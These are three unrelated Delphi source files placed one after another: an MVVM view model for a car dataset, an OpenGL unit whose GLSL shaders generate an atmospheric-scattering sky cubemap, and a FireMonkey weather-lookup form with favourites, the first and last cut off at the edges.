MVVM.Interfaces,
MVVM.Interfaces.Architectural,
MVVM.Bindings,
Coche.Interfaces,
Coche.Types,
DataSet.Model,
DataSet.Types;
type
[ViewModel_Implements(ICoches_ViewModel)]
TCoches_ViewModel = class(TViewModel, ICoches_ViewModel)
private
FModel: TdmDataSet;
protected
function GetProcMakeGetRows : TExecuteMethod;
function GetProcDeleteActiveRow: TExecuteMethod;
function GetProcMakeAppend : TExecuteMethod;
function GetProcMakeUpdate : TExecuteMethod;
function GetModel: TdmDataSet;
function GetDataSet: TDataSet;
function GetIsOpen: TCanExecuteMethod;
function IsDataSetOpen: Boolean;
procedure MakeGetRows;
procedure DeleteActiveRow;
procedure MakeAppend;
procedure MakeUpdate;
procedure CloseDataSet;
procedure OpenDataSet;
procedure OnNewDataSelected(const AData: RCoche);
procedure OnUpdateDataSelected(const AData: RCoche);
procedure AfterConstruction; override;
public
procedure SetupViewModel; override;
function GetActiveRow: RCoche;
procedure AppendRow(const AData: RCoche);
procedure UpdateActiveRow(const AData: RCoche);
property DataSet: TDataSet read GetDataSet;
property Model: TdmDataSet read GetModel;
property IsOpen: TCanExecuteMethod read GetIsOpen;
property DoMakeGetRows: TExecuteMethod read GetProcMakeGetRows;
property DoDeleteActiveRow: TExecuteMethod read GetProcDeleteActiveRow;
property DoMakeAppend: TExecuteMethod read GetProcMakeAppend;
property DoMakeUpdate: TExecuteMethod read GetProcMakeUpdate;
end;
implementation
uses
System.Rtti,
System.Threading,
System.Diagnostics,
System.UITypes,
MVVM.Utils,
MVVM.Core;
{ TDataSetFile_ViewModel }
procedure TCoches_ViewModel.OnNewDataSelected(const AData: RCoche);
begin
AppendRow(AData);
end;
procedure TCoches_ViewModel.OnUpdateDataSelected(const AData: RCoche);
begin
UpdateActiveRow(AData);
end;
procedure TCoches_ViewModel.OpenDataSet;
begin
if not FModel.IsOpen then
FModel.Open;
end;
procedure TCoches_ViewModel.AfterConstruction;
begin
SetupViewModel;
end;
procedure TCoches_ViewModel.AppendRow(const AData: RCoche);
var
LData: TFieldConverters;
begin
LData.AddData('ID', AData.ID);
LData.AddData('NOMBRE', AData.Nombre);
LData.AddData('IMAGEN', AData.Imagen);
LData.AddData('DUEÑO', AData.Dueño);
FModel.AppendRow(LData);
end;
procedure TCoches_ViewModel.CloseDataSet;
begin
if FModel.IsOpen then
FModel.Close;
end;
procedure TCoches_ViewModel.DeleteActiveRow;
begin
if not FModel.IsOpen then
begin
MVVMCore.PlatformServices.MessageDlg('Warning (delete)', 'The dataset is closed');
Exit;
end;
FModel.DataSet.Delete;
end;
function TCoches_ViewModel.GetActiveRow: RCoche;
begin
end;
function TCoches_ViewModel.GetDataSet: TDataSet;
begin
Result := FModel.DataSet;
end;
function TCoches_ViewModel.GetIsOpen: TCanExecuteMethod;
begin
Result := IsDataSetOpen;
end;
function TCoches_ViewModel.GetModel: TdmDataSet;
begin
Result := FModel
end;
function TCoches_ViewModel.GetProcDeleteActiveRow: TExecuteMethod;
begin
Result := DeleteActiveRow;
end;
function TCoches_ViewModel.GetProcMakeAppend: TExecuteMethod;
begin
Result := MakeAppend
end;
function TCoches_ViewModel.GetProcMakeGetRows: TExecuteMethod;
begin
Result := MakeGetRows;
end;
function TCoches_ViewModel.GetProcMakeUpdate: TExecuteMethod;
begin
Result := MakeUpdate
end;
function TCoches_ViewModel.IsDataSetOpen: Boolean;
begin
Result := FModel.IsOpen
end;
procedure TCoches_ViewModel.MakeAppend;
var
LView: IView<INewCoche_ViewModel>;
LVM : INewCoche_ViewModel;
begin
OpenDataSet;
LVM := MVVMCore.IoC.ViewModelProvider<INewCoche_ViewModel>;
LVM.OnDataSelected.Add(OnNewDataSelected);
LView := Utils.ShowModalView<INewCoche_ViewModel>(LVM, 'Coche.New',
procedure(AResult: TModalResult)
begin;
end, MVVMCore.DefaultViewPlatform);
end;
procedure TCoches_ViewModel.MakeGetRows;
begin
if not FModel.IsOpen then
FModel.Open
else
FModel.DataSet.Refresh;
end;
procedure TCoches_ViewModel.MakeUpdate;
var
LView: IView<IUpdateCoche_ViewModel>;
LVM : IUpdateCoche_ViewModel;
begin
if not FModel.IsOpen then
begin
MVVMCore.PlatformServices.MessageDlg('Warning (update)', 'The dataset is not opened');
Exit;
end;
LVM := MVVMCore.IoC.ViewModelProvider<IUpdateCoche_ViewModel>;
LVM.OnDataSelected.Add(OnUpdateDataSelected);
LView := Utils.ShowModalView<IUpdateCoche_ViewModel>(LVM, 'Coche.Update',
procedure(AResult: TModalResult)
begin;
end, MVVMCore.DefaultViewPlatform);
end;
procedure TCoches_ViewModel.SetupViewModel;
begin
FModel.TableName := 'Coches';
end;
procedure TCoches_ViewModel.UpdateActiveRow(const AData: RCoche);
var
LData: TFieldConverters;
begin
LData.AddData('ID', AData.ID);
LData.AddData('NOMBRE', AData.Nombre);
LData.AddData('IMAGEN', AData.Imagen);
LData.AddData('DUEÑO', AData.Dueño);
FModel.UpdateActiveRow(LData);
end;
initialization
TCoches_ViewModel.ClassName; // as there should be no implicit create, we must do this so the rtti info of the class is included in the final exe
end.
|
unit UnitOpenGLEnvMapGenShader;
{$ifdef fpc}
{$mode delphi}
{$ifdef cpui386}
{$define cpu386}
{$endif}
{$ifdef cpuamd64}
{$define cpux86_64}
{$endif}
{$ifdef cpu386}
{$define cpux86}
{$define cpu32}
{$asmmode intel}
{$endif}
{$ifdef cpux86_64}
{$define cpux64}
{$define cpu64}
{$asmmode intel}
{$endif}
{$ifdef FPC_LITTLE_ENDIAN}
{$define LITTLE_ENDIAN}
{$else}
{$ifdef FPC_BIG_ENDIAN}
{$define BIG_ENDIAN}
{$endif}
{$endif}
{-$pic off}
{$define caninline}
{$ifdef FPC_HAS_TYPE_EXTENDED}
{$define HAS_TYPE_EXTENDED}
{$else}
{$undef HAS_TYPE_EXTENDED}
{$endif}
{$ifdef FPC_HAS_TYPE_DOUBLE}
{$define HAS_TYPE_DOUBLE}
{$else}
{$undef HAS_TYPE_DOUBLE}
{$endif}
{$ifdef FPC_HAS_TYPE_SINGLE}
{$define HAS_TYPE_SINGLE}
{$else}
{$undef HAS_TYPE_SINGLE}
{$endif}
{$if declared(RawByteString)}
{$define HAS_TYPE_RAWBYTESTRING}
{$else}
{$undef HAS_TYPE_RAWBYTESTRING}
{$ifend}
{$if declared(UTF8String)}
{$define HAS_TYPE_UTF8STRING}
{$else}
{$undef HAS_TYPE_UTF8STRING}
{$ifend}
{$else}
{$realcompatibility off}
{$localsymbols on}
{$define LITTLE_ENDIAN}
{$ifndef cpu64}
{$define cpu32}
{$endif}
{$ifdef cpux64}
{$define cpux86_64}
{$define cpu64}
{$else}
{$ifdef cpu386}
{$define cpux86}
{$define cpu32}
{$endif}
{$endif}
{$define HAS_TYPE_EXTENDED}
{$define HAS_TYPE_DOUBLE}
{$ifdef conditionalexpressions}
{$if declared(RawByteString)}
{$define HAS_TYPE_RAWBYTESTRING}
{$else}
{$undef HAS_TYPE_RAWBYTESTRING}
{$ifend}
{$if declared(UTF8String)}
{$define HAS_TYPE_UTF8STRING}
{$else}
{$undef HAS_TYPE_UTF8STRING}
{$ifend}
{$else}
{$undef HAS_TYPE_RAWBYTESTRING}
{$undef HAS_TYPE_UTF8STRING}
{$endif}
{$endif}
{$ifdef win32}
{$define windows}
{$endif}
{$ifdef win64}
{$define windows}
{$endif}
{$ifdef wince}
{$define windows}
{$endif}
{$rangechecks off}
{$extendedsyntax on}
{$writeableconst on}
{$hints off}
{$booleval off}
{$typedaddress off}
{$stackframes off}
{$varstringchecks on}
{$typeinfo on}
{$overflowchecks off}
{$longstrings on}
{$openstrings on}
interface
uses {$ifdef fpcgl}gl,glext,{$else}dglOpenGL,{$endif}UnitOpenGLShader;
type TEnvMapGenShader=class(TShader)
public
uLightDirection:glInt;
constructor Create(const aHighQuality:boolean); reintroduce;
destructor Destroy; override;
procedure BindAttributes; override;
procedure BindVariables; override;
end;
implementation
constructor TEnvMapGenShader.Create(const aHighQuality:boolean);
var f,v:ansistring;
begin
v:='#version 430'+#13#10+
'#extension GL_AMD_vertex_shader_layer : enable'+#13#10+
'out vec2 vTexCoord;'+#13#10+
'flat out int vFaceIndex;'+#13#10+
'void main(){'+#13#10+
' // For 18 vertices (6x attribute-less-rendered "full-screen" triangles)'+#13#10+
' int vertexID = int(gl_VertexID),'+#13#10+
' vertexIndex = vertexID % 3,'+#13#10+
' faceIndex = vertexID / 3;'+#13#10+
' vTexCoord = vec2((vertexIndex >> 1) * 2.0, (vertexIndex & 1) * 2.0);'+#13#10+
' vFaceIndex = faceIndex;'+#13#10+
' gl_Position = vec4(((vertexIndex >> 1) * 4.0) - 1.0, ((vertexIndex & 1) * 4.0) - 1.0, 0.0, 1.0);'+#13#10+
' gl_Layer = faceIndex;'+#13#10+
'}'+#13#10;
if aHighQuality then begin
f:='#version 430'+#13#10+
'layout(location = 0) out vec4 oOutput;'+#13#10+
'in vec2 vTexCoord;'+#13#10+
'flat in int vFaceIndex;'+#13#10+
'uniform vec3 uLightDirection;'+#13#10+
'const float luxScale = 1e-4;'+#13#10+ // lux to linear luminance scale
'const float planetScale = 1e0;'+#13#10+ // Base unit 1.0: kilometers
'const float planetInverseScale = 1.0 / planetScale;'+#13#10+
'const float cameraScale = 1e-0 * planetScale;'+#13#10+ // Base unit 1.0: kilometers
'const float cameraInverseScale = 1.0 / cameraScale;'+#13#10+
'const float planetDensityScale = 1.0 * planetInverseScale;'+#13#10+
'const float planetGroundRadius = 6360.0 * planetScale;'+#13#10+ // Radius from the planet center point to the begin of the planet ground
'const float planetAtmosphereRadius = 6460.0 * planetScale;'+#13#10+ // Radius from the planet center point to the end of the planet atmosphere
'const float cameraHeightOverGround = 1e-3 * planetScale;'+#13#10+ // The height of the camera over the planet ground
'const float planetWeatherMapScale = 16.0 / planetAtmosphereRadius;'+#13#10+
'const float planetAtmosphereHeight = planetAtmosphereRadius - planetGroundRadius;'+#13#10+
'const float heightScaleRayleigh = 8.0 * planetScale;'+#13#10+ // Rayleigh height scale
'const float heightScaleMie = 1.2 * planetScale;'+#13#10+ // Mie height scale
'const float heightScaleOzone = 8.0 * planetScale;'+#13#10+ // Ozone height scale
'const float heightScaleAbsorption = 8.0 * planetScale;'+#13#10+ // Absorption height scale
'const float planetToSunDistance = 149597870.61 * planetScale;'+#13#10+
'const float sunRadius = 696342.0 * planetScale;'+#13#10+
'const float sunIntensity = 100000.0 * luxScale;'+#13#10+ // in lux (sun lux value from s2016_pbs_frostbite_sky_clouds slides)
'const vec3 scatteringCoefficientRayleigh = vec3(5.8e-3, 1.35e-2, 3.31e-2) * planetInverseScale;'+#13#10+ // Rayleigh scattering coefficients at sea level
'const vec3 scatteringCoefficientMie = vec3(21e-3, 21e-3, 21e-3) * planetInverseScale;'+#13#10+ // Mie scattering coefficients at sea level
'const vec3 scatteringCoefficientOzone = vec3(3.486, 8.298, 0.356) * planetInverseScale;'+#13#10+ // Ozone scattering coefficients at sea level
'const vec3 scatteringCoefficientAbsorption = vec3(3.486e-3, 8.298e-3, 0.356e-3) * planetInverseScale;'+#13#10+ // Ozone scattering coefficients at sea level
'const float skyTurbidity = 0.2;'+#13#10+
'const float skyMieCoefficientG = 0.98;'+#13#10+
'const float HALF_PI = 1.57079632679;'+#13#10+
'const float PI = 3.1415926535897932384626433832795;'+#13#10+
'const float TWO_PI = 6.28318530718;'+#13#10+
'vec2 intersectSphere(vec3 rayOrigin, vec3 rayDirection, vec4 sphere){'+#13#10+
' vec3 v = rayOrigin - sphere.xyz;'+#13#10+
' float b = dot(v, rayDirection),'+#13#10+
' c = dot(v, v) - (sphere.w * sphere.w),'+#13#10+
' d = (b * b) - c;'+#13#10+
' return (d < 0.0)'+#13#10+
' ? vec2(-1.0)'+#13#10+ // No intersection
' : ((vec2(-1.0, 1.0) * sqrt(d)) - vec2(b));'+#13#10+ // Intersection
'}'+#13#10+
'void getAtmosphereParticleDensity(const in vec4 planetGroundSphere,'+#13#10+
' const in float inverseHeightScaleRayleigh,'+#13#10+
' const in float inverseHeightScaleMie,'+#13#10+
' const in vec3 position,'+#13#10+
' inout float rayleigh,'+#13#10+
' inout float mie){'+#13#10+
' float height = length(position - planetGroundSphere.xyz) - planetGroundSphere.w;'+#13#10+
' rayleigh = exp(-(height * inverseHeightScaleRayleigh));'+#13#10+
' mie = exp(-(height * inverseHeightScaleMie));'+#13#10+
'}'+#13#10+
'void getAtmosphere(vec3 rayOrigin,'+#13#10+
' vec3 rayDirection,'+#13#10+
' const in float startOffset,'+#13#10+
' const in float maxDistance,'+#13#10+
' const in vec3 lightDirection,'+#13#10+
' const in float lightIntensity,'+#13#10+
' const float turbidity,'+#13#10+
' const float meanCosine,'+#13#10+
' const in int countSteps,'+#13#10+
' const in int countSubSteps,'+#13#10+
' out vec3 inscattering,'+#13#10+
' out vec3 extinction){'+#13#10+
' float atmosphereHeight = planetAtmosphereRadius - planetGroundRadius;'+#13#10+
' vec4 planetGroundSphere = vec4(0.0, -(planetGroundRadius + cameraHeightOverGround), 0.0, planetGroundRadius);'+#13#10+
' vec4 planetAtmosphereSphere = vec4(0.0, -(planetGroundRadius + cameraHeightOverGround), 0.0, planetAtmosphereRadius);'+#13#10+
' vec2 planetAtmosphereIntersection = intersectSphere(rayOrigin, rayDirection, planetAtmosphereSphere);'+#13#10+
' if(planetAtmosphereIntersection.y >= 0.0){'+#13#10+
' vec2 planetGroundIntersection = intersectSphere(rayOrigin, rayDirection, planetGroundSphere);'+#13#10+
' if(!((planetGroundIntersection.x < 0.0) && (planetGroundIntersection.y >= 0.0))){'+#13#10+
' float inverseHeightScaleRayleigh = 1.0 / heightScaleRayleigh,'+#13#10+
' inverseHeightScaleMie = 1.0 / heightScaleMie;'+#13#10+
' vec2 nearFar = vec2(max(0.0, ((planetGroundIntersection.x < 0.0) && (planetGroundIntersection.y >= 0.0))'+#13#10+
' ? max(planetGroundIntersection.y, planetAtmosphereIntersection.x)'+#13#10+
' : planetAtmosphereIntersection.x),'+#13#10+
' (planetGroundIntersection.x >= 0.0)'+#13#10+
' ? min(planetGroundIntersection.x, planetAtmosphereIntersection.y)'+#13#10+
' : planetAtmosphereIntersection.y);'+#13#10+
' float fullRayLength = min(maxDistance, nearFar.y - nearFar.x);'+#13#10+
' rayOrigin += nearFar.x * rayDirection;'+#13#10+
// Setup variables
' float timeStep = 1.0 / float(countSteps),'+#13#10+
' time = startOffset * timeStep,'+#13#10+
' densityScale = fullRayLength / countSteps;'+#13#10+
' vec3 inscatteringRayleigh = vec3(0.0);'+#13#10+ // Rayleigh in−scattering
' vec3 inscatteringMie = vec3(0.0);'+#13#10+ // Mie in−scattering
' float totalParticleDensityRayleigh = 0.0;'+#13#10+ // Rayleigh particle density from camera to integration point
' float totalParticleDensityMie = 0.0;'+#13#10+ // Mie particle density from camera to integration point
' for (int stepIndex = 0; stepIndex < countSteps; stepIndex++, time += timeStep){'+#13#10+
// Uniform sampling
' float offset = time * fullRayLength;'+#13#10+
' vec3 position = rayOrigin + (rayDirection * offset);'+#13#10+
// Compute Rayleigh and Mie particle density scale at P
' float particleDensityRayleigh, particleDensityMie;'+#13#10+
' getAtmosphereParticleDensity(planetGroundSphere,'+#13#10+
' inverseHeightScaleRayleigh,'+#13#10+
' inverseHeightScaleMie,'+#13#10+
' position,'+#13#10+
' particleDensityRayleigh,'+#13#10+
' particleDensityMie);'+#13#10+
' particleDensityRayleigh *= densityScale;'+#13#10+
' particleDensityMie *= densityScale;'+#13#10+
// Accumulate particle density from the camera
' totalParticleDensityRayleigh += particleDensityRayleigh;'+#13#10+
' totalParticleDensityMie += particleDensityMie;'+#13#10+
' if(densityScale > 0.0){'+#13#10+
' vec2 outAtmosphereIntersection = intersectSphere(position, lightDirection, planetAtmosphereSphere);'+#13#10+
' float subRayLength = outAtmosphereIntersection.y;'+#13#10+
' if(subRayLength > 0.0){'+#13#10+
' float dls = subRayLength / float(countSubSteps),'+#13#10+
' subTotalParticleDensityRayleigh = 0.0,'+#13#10+
' subTotalParticleDensityMie = 0.0;'+#13#10+
' float subTimeStep = 1.0 / float(countSubSteps),'+#13#10+
' subTime = 0.0,'+#13#10+
' subDensityScale = subRayLength / float(countSubSteps);'+#13#10+
' for(int subStepIndex = 0; subStepIndex < countSubSteps; subStepIndex++, subTime += subTimeStep){'+#13#10+
' float subParticleDensityRayleigh, subParticleDensityMie;'+#13#10+
' vec3 subPosition = position + (lightDirection * subTime * subRayLength);'+#13#10+
' getAtmosphereParticleDensity(planetGroundSphere,'+#13#10+
' inverseHeightScaleRayleigh,'+#13#10+
' inverseHeightScaleMie,'+#13#10+
' subPosition,'+#13#10+
' subParticleDensityRayleigh,'+#13#10+
' subParticleDensityMie);'+#13#10+
' subTotalParticleDensityRayleigh += subParticleDensityRayleigh * subDensityScale;'+#13#10+
' subTotalParticleDensityMie += subParticleDensityMie * subDensityScale;'+#13#10+
' }'+#13#10+
// Compute optical depth for Rayleigh and Mie particles
' vec3 totalOpticalDepthRayleigh = scatteringCoefficientRayleigh * (totalParticleDensityRayleigh + subTotalParticleDensityRayleigh);'+#13#10+
' vec3 totalOpticalDepthMie = scatteringCoefficientMie * (totalParticleDensityMie + subTotalParticleDensityMie);'+#13#10+
// Compute extinction for the current integration point
' vec3 totalExtinction = exp(-(totalOpticalDepthRayleigh +'+#13#10+
' totalOpticalDepthMie));'+#13#10+
// Compute differential amounts of in−scattering
' vec3 differentialInscatteringAmountRayleigh = particleDensityRayleigh * scatteringCoefficientRayleigh * totalExtinction;'+#13#10+
' vec3 differentialInscatteringAmountMie = particleDensityMie * scatteringCoefficientMie * totalExtinction;'+#13#10+
// Compute visibility
' float visibility = 1.0;'+#13#10+
// Update Rayleigh and Mie integrals
' inscatteringRayleigh += differentialInscatteringAmountRayleigh * visibility;'+#13#10+
' inscatteringMie += differentialInscatteringAmountMie * visibility;'+#13#10+
' } '+#13#10+
' }'+#13#10+
' }'+#13#10+
// Apply Rayleigh and Mie phase functions
' float cosTheta = dot(rayDirection, lightDirection),'+#13#10+
' onePlusCosThetaMulCosTheta = 1.0 + (cosTheta * cosTheta),'+#13#10+
' meanCosineSquared = meanCosine * meanCosine,'+#13#10+
' phaseRayleigh = (3.0 / (16.0 * PI)) * onePlusCosThetaMulCosTheta,'+#13#10+
' phaseMie = ((3.0 / (8.0 * PI)) * (1.0 - meanCosineSquared) * onePlusCosThetaMulCosTheta) /'+#13#10+
' ((2.0 + meanCosineSquared) * pow((1.0 + meanCosineSquared) - (2.0 * meanCosine * cosTheta), 1.5));'+#13#10+
// Compute in−scattering from the camera
' inscattering = max(vec3(0.0),'+#13#10+
' ((inscatteringRayleigh * phaseRayleigh) +'+#13#10+
' (inscatteringMie * phaseMie * turbidity)) *'+#13#10+
' lightIntensity);'+#13#10+
// Compute extinction from the camera
' extinction = max(vec3(0.0),'+#13#10+
' exp(-((totalParticleDensityRayleigh * scatteringCoefficientRayleigh) +'+#13#10+
' (totalParticleDensityMie * scatteringCoefficientMie))));'+#13#10+
' }else{'+#13#10+
' inscattering = vec3(0.0);'+#13#10+
' extinction = vec3(1.0);'+#13#10+
' }'+#13#10+
' }else{'+#13#10+
' inscattering = vec3(0.0);'+#13#10+
' extinction = vec3(1.0);'+#13#10+
' }'+#13#10+
'}'+#13#10+
'vec3 getCubeMapDirection(in vec2 uv,'+#13#10+
' in int faceIndex){'+#13#10+
' vec3 zDir = vec3(ivec3((faceIndex <= 1) ? 1 : 0,'+#13#10+
' (faceIndex & 2) >> 1,'+#13#10+
' (faceIndex & 4) >> 2)) *'+#13#10+
' (((faceIndex & 1) == 1) ? -1.0 : 1.0),'+#13#10+
' yDir = (faceIndex == 2)'+#13#10+
' ? vec3(0.0, 0.0, 1.0)'+#13#10+
' : ((faceIndex == 3)'+#13#10+
' ? vec3(0.0, 0.0, -1.0)'+#13#10+
' : vec3(0.0, -1.0, 0.0)),'+#13#10+
' xDir = cross(zDir, yDir);'+#13#10+
' return normalize((mix(-1.0, 1.0, uv.x) * xDir) +'+#13#10+
' (mix(-1.0, 1.0, uv.y) * yDir) +'+#13#10+
' zDir);'+#13#10+
'}'+#13#10+
'void main(){'+#13#10+
' vec3 direction = getCubeMapDirection(vTexCoord, vFaceIndex);'+#13#10+
' vec3 tempInscattering, tempTransmittance;'+#13#10+
' getAtmosphere(vec3(0.0, 0.0, 0.0),'+#13#10+
' vec3(direction.x, max(0.0, direction.y), direction.z),'+#13#10+
' 0.0,'+#13#10+
' 1e+32,'+#13#10+
' -normalize(uLightDirection),'+#13#10+
' sunIntensity,'+#13#10+
' skyTurbidity,'+#13#10+
' skyMieCoefficientG,'+#13#10+
' 256,'+#13#10+
' 32,'+#13#10+
' tempInscattering,'+#13#10+
' tempTransmittance);'+#13#10+
' oOutput = vec4(tempInscattering, 1.0);'+#13#10+
'}'+#13#10;
end else begin
f:='#version 430'+#13#10+
'layout(location = 0) out vec4 oOutput;'+#13#10+
'in vec2 vTexCoord;'+#13#10+
'flat in int vFaceIndex;'+#13#10+
'uniform vec3 uLightDirection;'+#13#10+
'const float PI = 3.1415926535897932384626433832795;'+#13#10+
'vec3 getCubeMapDirection(in vec2 uv,'+#13#10+
' in int faceIndex){'+#13#10+
' vec3 zDir = vec3(ivec3((faceIndex <= 1) ? 1 : 0,'+#13#10+
' (faceIndex & 2) >> 1,'+#13#10+
' (faceIndex & 4) >> 2)) *'+#13#10+
' (((faceIndex & 1) == 1) ? -1.0 : 1.0),'+#13#10+
' yDir = (faceIndex == 2)'+#13#10+
' ? vec3(0.0, 0.0, 1.0)'+#13#10+
' : ((faceIndex == 3)'+#13#10+
' ? vec3(0.0, 0.0, -1.0)'+#13#10+
' : vec3(0.0, -1.0, 0.0)),'+#13#10+
' xDir = cross(zDir, yDir);'+#13#10+
' return normalize((mix(-1.0, 1.0, uv.x) * xDir) +'+#13#10+
' (mix(-1.0, 1.0, uv.y) * yDir) +'+#13#10+
' zDir);'+#13#10+
'}'+#13#10+
'vec4 atmosphereGet(vec3 rayOrigin, vec3 rayDirection){'+#13#10+
' vec3 sunDirection = uLightDirection;'+#13#10+
' vec3 sunLightColor = vec3(1.70, 1.15, 0.70);'+#13#10+
' const float atmosphereHaze = 0.03;'+#13#10+
' const float atmosphereHazeFadeScale = 1.0;'+#13#10+
' const float atmosphereDensity = 0.25;'+#13#10+
' const float atmosphereBrightness = 1.0;'+#13#10+
' const float atmospherePlanetSize = 1.0;'+#13#10+
' const float atmosphereHeight = 1.0;'+#13#10+
' const float atmosphereClarity = 10.0;'+#13#10+
' const float atmosphereSunDiskSize = 1.0;'+#13#10+
' const float atmosphereSunDiskPower = 16.0;'+#13#10+
' const float atmosphereSunDiskBrightness = 4.0;'+#13#10+
' const float earthRadius = 6.371e6;'+#13#10+
' const float earthAtmosphereHeight = 0.1e6;'+#13#10+
' const float planetRadius = earthRadius * atmospherePlanetSize;'+#13#10+
' const float planetAtmosphereRadius = planetRadius + (earthAtmosphereHeight * atmosphereHeight);'+#13#10+
' const vec3 atmosphereRadius = vec3(planetRadius, planetAtmosphereRadius * planetAtmosphereRadius, (planetAtmosphereRadius * planetAtmosphereRadius) - (planetRadius * planetRadius));'+#13#10+
' const float gm = mix(0.75, 0.9, atmosphereHaze);'+#13#10+
' const vec3 lambda = vec3(680e-9, 550e-9, 450e-9);'+#13#10+
' const vec3 brt = vec3(1.86e-31 / atmosphereDensity) / pow(lambda, vec3(4.0));'+#13#10+
' const vec3 bmt = pow(vec3(2.0 * PI) / lambda, vec3(2.0)) * vec3(0.689235, 0.6745098, 0.662745) * atmosphereHazeFadeScale * (1.36e-19 * max(atmosphereHaze, 1e-3));'+#13#10+
' const vec3 brmt = (brt / vec3(1.0 + atmosphereClarity)) + bmt;'+#13#10+
' const vec3 br = (brt / brmt) * (3.0 / (16.0 * PI));'+#13#10+
' const vec3 bm = (bmt / brmt) * (((1.0 - gm) * (1.0 - gm)) / (4.0 * PI));'+#13#10+
' const vec3 brm = brmt / 0.693147180559945309417;'+#13#10+
' const float sunDiskParameterY1 = -(1.0 - (0.0075 * atmosphereSunDiskSize));'+#13#10+
' const float sunDiskParameterX = 1.0 / (1.0 + sunDiskParameterY1);'+#13#10+
' const vec4 sunDiskParameters = vec4(sunDiskParameterX, sunDiskParameterX * sunDiskParameterY1, atmosphereSunDiskBrightness, atmosphereSunDiskPower);'+#13#10+
' float cosTheta = dot(rayDirection, -sunDirection);'+#13#10+
' float a = atmosphereRadius.x * max(rayDirection.y, min(-sunDirection.y, 0.0));'+#13#10+
' float rayDistance = sqrt((a * a) + atmosphereRadius.z) - a;'+#13#10+
' vec3 extinction = exp(-(rayDistance * brm));'+#13#10+
' vec3 position = rayDirection * (rayDistance * max(0.15 - (0.75 * sunDirection.y), 0.0));'+#13#10+
' position.y = max(position.y, 0.0) + atmosphereRadius.x;'+#13#10+
' a = dot(position, -sunDirection);'+#13#10+
' float sunLightRayDistance = sqrt(((a * a) + atmosphereRadius.y) - dot(position, position)) - a;'+#13#10+
' vec3 inscattering = ((exp(-(sunLightRayDistance * brm)) *'+#13#10+
' ((br * (1.0 + (cosTheta * cosTheta))) +'+#13#10+
' (bm * pow(1.0 + gm * (gm - (2.0 * cosTheta)), -1.5))) * (1.0 - extinction)) *'+#13#10+
' vec3(1.0)) + '+#13#10+
' (sunDiskParameters.z *'+#13#10+
' extinction *'+#13#10+
' sunLightColor *'+#13#10+
' pow(clamp((cosTheta * sunDiskParameters.x) + sunDiskParameters.y, 0.0, 1.0), sunDiskParameters.w));'+#13#10+
' return vec4(inscattering * atmosphereBrightness, 1.0);'+#13#10+
'}'+#13#10+
'void main(){'+#13#10+
' vec3 direction = getCubeMapDirection(vTexCoord, vFaceIndex);'+#13#10+
' oOutput = atmosphereGet(vec3(0.0), direction);'+#13#10+
'}'+#13#10;
end;
inherited Create(v,f);
end;
destructor TEnvMapGenShader.Destroy;
begin
inherited Destroy;
end;
procedure TEnvMapGenShader.BindAttributes;
begin
inherited BindAttributes;
end;
procedure TEnvMapGenShader.BindVariables;
begin
inherited BindVariables;
uLightDirection:=glGetUniformLocation(ProgramHandle,pointer(pansichar('uLightDirection')));
end;
end.
|
unit FormWeatherDskUnit;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Rtti, System.Classes,
System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs,
FMX.StdCtrls, FMX.Layouts, FMX.ListBox, FMX.Memo, weather_utils;
type
TFormWeatherDsk = class(TForm)
ButtonCountries: TButton;
Panel1: TPanel;
ListBoxCountries: TListBox;
Panel2: TPanel;
ButtonCities: TButton;
ListBoxCities: TListBox;
Panel3: TPanel;
ButtonGetWeather: TButton;
Memo1: TMemo;
Panel4: TPanel;
Panel5: TPanel;
ListBoxFavs: TListBox;
ButtonFavsGet: TButton;
Label1: TLabel;
ButtonFavsAdd: TButton;
ButtonFavsDelete: TButton;
procedure ButtonCountriesClick(Sender: TObject);
procedure ButtonCitiesClick(Sender: TObject);
procedure ButtonGetWeatherClick(Sender: TObject);
procedure ListBoxCitiesChange(Sender: TObject);
procedure ListBoxCountriesChange(Sender: TObject);
procedure ButtonFavsGetClick(Sender: TObject);
procedure ButtonFavsAddClick(Sender: TObject);
procedure ButtonFavsDeleteClick(Sender: TObject);
private
procedure RefreshFavs;
procedure Log(s: string);
procedure ShowWeatherInfo(info: TWeatherInfo);
public
{ Public declarations }
end;
var
FormWeatherDsk: TFormWeatherDsk;
implementation
{$R *.fmx}
uses DMWeatherUnit;
procedure TFormWeatherDsk.ListBoxCitiesChange(Sender: TObject);
begin
// Memo1.Lines.Clear;
end;
procedure TFormWeatherDsk.ListBoxCountriesChange(Sender: TObject);
begin
// Memo1.Lines.Clear;
ListBoxCities.Clear;
end;
procedure TFormWeatherDsk.Log(s: string);
begin
Memo1.Lines.Add(s);
end;
procedure TFormWeatherDsk.RefreshFavs;
var aFavs: TCityCountryDynArray; i: integer;
begin
aFavs := DMWeather.FavoritesGet;
ListBoxFavs.Clear;
ListBoxFavs.BeginUpdate;
try
for i := 0 to Length(aFavs)-1 do
ListBoxFavs.Items.Add(aFavs[i].City + ' (' + aFavs[i].Country + ')')
finally
ListBoxFavs.EndUpdate;
end;
end;
procedure TFormWeatherDsk.ButtonCitiesClick(Sender: TObject);
var country: string; cities: TStringDynArray; i: integer;
begin
if ListBoxCountries.Selected <> nil then
begin
ListBoxCities.Clear;
country := ListBoxCountries.Selected.Text;
ListBoxCities.BeginUpdate;
try
cities := DMWeather.GetCityList(country);
for i := 0 to Length(cities)-1 do
ListBoxCities.Items.Add(cities[i]);
Finalize(cities);
finally
ListBoxCities.EndUpdate;
end;
ListBoxCities.Repaint;
end;
end;
procedure TFormWeatherDsk.ButtonCountriesClick(Sender: TObject);
var clist: TStringDynArray; i: integer;
begin
clist:= DMWeather.GetCountryList;
ListBoxCountries.Clear;
ListBoxCountries.BeginUpdate;
try
for i := 0 to Length(cList)-1 do
ListBoxCountries.Items.Add(cList[i]);
Finalize(clist);
finally
ListBoxCountries.EndUpdate;
end;
end;
procedure TFormWeatherDsk.ButtonFavsAddClick(Sender: TObject);
var cc: TCityCountry;
begin
if (ListBoxCountries.Selected <> nil) and (ListBoxCities.Selected <> nil) then
begin
cc.City := ListBoxCities.Selected.Text;
cc.Country := ListBoxCountries.Selected.Text;
if DMWeather.FavoritesAdd(cc) then
RefreshFavs;
end;
end;
procedure TFormWeatherDsk.ButtonFavsDeleteClick(Sender: TObject);
var cc: TCityCountry; i: integer;
begin
if ListBoxFavs.Selected <> nil then
begin
i := ListBoxFavs.Selected.Index;
// cc.City := DMWeather.Favorites[i].City;
// cc.Country := DMWeather.Favorites[i].Country;
if DMWeather.FavoritesDel(i) then
RefreshFavs;
end;
end;
